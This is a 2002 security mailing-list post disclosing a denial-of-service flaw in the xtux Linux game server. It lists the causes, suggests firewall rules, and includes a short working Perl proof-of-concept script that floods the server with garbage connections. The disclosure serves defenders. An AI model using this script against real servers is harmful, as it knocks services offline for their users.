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xtux server DoS.
From: "b0iler _" <b0iler () hotmail com>
Date: Sat, 09 Mar 2002 15:53:32 -0700

After telnetting into a xtux server a few times and typing random stuff I noticed the sever stopped responding. Xtux is a really cool game for linux, you should try it. It also took up 70% cpu before I killed it. Then coded a small perl script to test this, worked everytime I tested. I emailed the author of xtux a few days ago, haven't heard anything yet. I figure the problems that need to be addressed are:

the number of connections from one host. - currently unlimitted.
the total number of connections. - currently unlimitted.
some sort of timeout for the server - currently the client handles timeouts but server allows clients to stay connected without doing anything forever. a fix for when users send garbage (don't make the connection correctly) to the server and it becomes unresponcive.

For now I would just set tight firewall rules when you run the xtux server, you should know who you are playing with anyways.

Here is that perl script I used to test:

#!/usr/bin/perl
#
# xtux server DoS - by b0iler
# server will become unresponcive and takes up lots of CPU.

use IO::Socket;

for($n=0;$n<=3;$n++){ #you shouldn't even need all 3 connections.
       print "Connecting to $ARGV[0] port $ARGV[1]\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Proto => 'tcp' ) or print "\ncouldn't connect\n\n";
       sleep 3;
       print $sock "garbage data\n\n";
}
exit;

http://b0iler.advknowledge.net


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